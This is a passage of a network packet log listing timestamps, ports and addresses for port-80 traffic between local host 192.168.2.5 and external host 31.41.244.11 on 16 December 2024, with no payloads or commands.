Dec 16, 2024 09:01:13.688014030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.688056946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.688899994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.688947916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.688994884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.689033031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.689920902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.689965963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.690028906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.690068007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.690903902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.690951109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.690996885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.691036940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.692095041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.692135096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.692219019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.692265034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.692894936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.692939043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.693044901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.693085909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.693878889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.693922997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.693980932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.694025040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.694945097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.694992065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.695074081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.695115089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.696082115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.696125984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.696187973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.696229935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.696871996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.696914911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.696974993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.697016001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.697866917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.697911978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.697963953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.698004961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.699037075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.699090958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.699172974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.699214935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.700109005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.700155020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.700187922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.700228930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.700946093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.700989962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.701062918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.701105118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.701836109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.701881886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.701946020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.701987028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.702872038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.702910900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.703123093 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.703165054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.703828096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.703866959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.703950882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.703993082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.704837084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.704879045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.705070019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.705111980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.705827951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.705872059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.705980062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.706022978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.706828117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.706871986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.706931114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.706969976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.707848072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.707890987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.707936049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.707977057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.708806038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.708849907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.709007025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.709048986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.709835052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.709870100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.709939957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.709978104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.710860968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.710903883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.711003065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.711042881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.711805105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.711847067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.711910963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.711951017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.712810993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.712851048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.712901115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.712943077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.713794947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.713838100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.713900089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.713948011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.714809895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.714857101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.714978933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.715023041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.715864897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.715909004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.715965986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.716006994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.716815948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.716859102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.717006922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.717048883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.717803955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.717847109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.717925072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.717962027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.718803883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.718849897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.718983889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.719028950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.719815969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.719857931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.719917059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.719954014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.720818996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.720863104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.720949888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.720990896 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.721800089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.721843958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.721939087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.721985102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.722893000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.722943068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.723022938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.723062992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.723807096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.723851919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.723891973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.723927975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.724869013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.724910021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.725033045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.725070953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.725799084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.725837946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.725931883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.725970030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.726774931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.726815939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.726922989 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.726957083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.727807045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.727847099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.727891922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.727930069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.728754997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.728799105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.728868008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.728904963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.729752064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.729793072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.729871035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.729940891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.730721951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.730763912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.730848074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.730890989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.731755018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.731802940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.731854916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.731894016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.732875109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.732923985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.733036995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.733083010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.733683109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.733730078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.873708963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.873749018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.873792887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.873826981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.873987913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.874032974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.874248028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.874295950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.875011921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.875055075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.875106096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.875149965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.875988960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.876035929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.876097918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.876138926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.877006054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.877064943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.877094984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.877132893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.878014088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.878058910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.878091097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.878129005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.879018068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.879062891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.879106045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.879147053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.879981995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.880023956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.880068064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.880109072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.881000042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.881042957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.881089926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.881129980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.881973028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.882019997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.882066011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.882107973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.883008003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.883052111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.883100986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.883152008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.883985043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.884042978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.884072065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.884134054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.885027885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.885073900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.885094881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.885134935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.885971069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.886015892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.886044979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.886087894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.886984110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.887032032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.887084961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.887126923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.887959957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.888006926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.888056040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.888098955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.888933897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.888978958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.889023066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.889065981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.889951944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.889997959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.890091896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.890146971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.890978098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.891022921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.891046047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.891086102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.891936064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.891980886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.892019033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.892061949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.892932892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.892977953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.893018961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.893064022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.893945932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.893999100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.894027948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.894067049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.894937038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.894982100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.895034075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.895076036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.895972967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.896018028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.896034002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.896074057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.896930933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.896974087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.897022009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.897064924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.897900105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.897943020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.898005962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.898046970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.898916006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.898961067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.899004936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.899045944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.899910927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.899956942 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.900629044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.900691032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.900897980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.900939941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.901016951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.901057959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.901906013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.901954889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.902034998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.902077913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.902910948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.902962923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.902998924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.903038025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.903883934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.903928041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.903980017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.904019117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.904932976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.904975891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.905064106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.905105114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.905868053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.905913115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.906008959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.906054974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.906887054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.906932116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.906979084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.907020092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.907869101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.907912016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.907985926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.908025980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.908921957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.908962011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.909059048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.909101963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.909904957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.909950018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.909981012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.910022020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.910912037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.910960913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:13.911010027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:13.911052942 CET	49817	80	192.168.2.5	31.41.244.11
